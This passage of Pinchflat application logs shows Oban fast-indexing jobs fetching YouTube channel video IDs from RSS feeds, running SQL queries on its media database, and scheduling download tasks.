(((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 13:20:42.686 [debug] QUERY OK source="tasks" db=0.0ms idle=699.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [651, 2, ~U[2026-07-24 13:20:42Z], ~U[2026-07-24 13:20:42Z]] 13:20:42.686 [info] {"args":{"id":2},"id":648,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":699970,"event":"job:stop","queue_time":499503,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:20:56.771 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:57.001 [info] {"args":{"id":1},"id":649,"meta":{},"system_time":1784899257001172100,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:20:57.001 [debug] QUERY OK source="sources" db=0.0ms idle=1225.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 13:20:57.001 [debug] QUERY OK source="settings" db=0.0ms idle=1007.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:20:57.001 [debug] QUERY OK source="media_profiles" db=0.0ms idle=230.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:20:57.002 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:20:57.002 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 13:20:57.202 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 13:20:57.203 [debug] QUERY OK source="media_items" db=0.2ms idle=201.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 13:20:57.205 [debug] QUERY OK source="media_items" db=2.1ms idle=201.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 13:20:57.206 [debug] QUERY OK source="tasks" db=0.0ms idle=204.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [652, 1, ~U[2026-07-24 13:20:57Z], ~U[2026-07-24 13:20:57Z]] 13:20:57.206 [info] {"args":{"id":1},"id":649,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":205196,"event":"job:stop","queue_time":580169,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:21:00.540 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:21:12.016 [info] {"args":{"id":3},"id":650,"meta":{},"system_time":1784899272016127147,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:21:12.016 [debug] QUERY OK source="sources" db=0.0ms idle=1240.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 13:21:12.016 [debug] QUERY OK source="settings" db=0.0ms idle=1007.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:21:12.016 [debug] QUERY OK source="media_profiles" db=0.0ms idle=240.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:21:12.016 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:21:12.016 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 13:21:12.201 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 13:21:12.202 [debug] QUERY OK source="media_items" db=0.3ms idle=185.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 13:21:12.205 [debug] QUERY OK source="media_items" db=3.1ms idle=186.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 13:21:12.206 [debug] QUERY OK source="tasks" db=0.1ms idle=189.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [653, 3, ~U[2026-07-24 13:21:12Z], ~U[2026-07-24 13:21:12Z]] 13:21:12.206 [info] {"args":{"id":3},"id":650,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":190621,"event":"job:stop","queue_time":593920,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:21:26.772 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:56.773 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:00.540 [info] {"source":"oban","duration":138,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:22:26.774 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:56.775 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:00.542 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:23:26.776 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:56.777 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:00.542 [info] {"source":"oban","duration":134,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:24:26.778 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:56.779 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:00.544 [info] {"source":"oban","duration":147,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:25:26.780 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:56.781 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:00.544 [info] {"source":"oban","duration":139,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:26:26.782 [info] {"source":"oban","duration":935,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:56.784 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:00.545 [info] {"source":"oban","duration":127,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:27:26.785 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:56.786 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:00.547 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:28:26.787 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:56.788 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:00.547 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:29:26.789 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:56.790 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:00.548 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:30:26.791 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:43.606 [info] {"args":{"id":2},"id":651,"meta":{},"system_time":1784899843606066562,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:30:43.606 [debug] QUERY OK source="sources" db=0.0ms idle=830.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 13:30:43.606 [debug] QUERY OK source="settings" db=0.0ms idle=830.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:30:43.606 [debug] QUERY OK source="media_profiles" db=0.0ms idle=830.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:30:43.606 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:30:43.606 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 13:30:43.863 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 13:30:43.863 [debug] QUERY OK source="media_items" db=0.2ms idle=257.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 13:30:43.864 [debug] QUERY OK source="media_items" db=0.2ms idle=257.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 13:30:43.864 [debug] QUERY OK source="tasks" db=0.0ms idle=257.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [654, 2, ~U[2026-07-24 13:30:43Z], ~U[2026-07-24 13:30:43Z]] 13:30:43.864 [info] {"args":{"id":2},"id":651,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":258587,"event":"job:stop","queue_time":920204,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:30:56.792 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:57.620 [info] {"args":{"id":1},"id":652,"meta":{},"system_time":1784899857620292582,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:30:57.620 [debug] QUERY OK source="sources" db=0.0ms idle=1844.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 13:30:57.620 [debug] QUERY OK source="settings" db=0.0ms idle=1007.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:30:57.621 [debug] QUERY OK source="media_profiles" db=0.0ms idle=828.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:30:57.621 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:30:57.621 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 13:30:57.870 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 13:30:57.870 [debug] QUERY OK source="media_items" db=0.3ms idle=250.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 13:30:57.873 [debug] QUERY OK source="media_items" db=2.1ms idle=250.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 13:30:57.873 [debug] QUERY OK source="tasks" db=0.0ms idle=252.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [655, 1, ~U[2026-07-24 13:30:57Z], ~U[2026-07-24 13:30:57Z]] 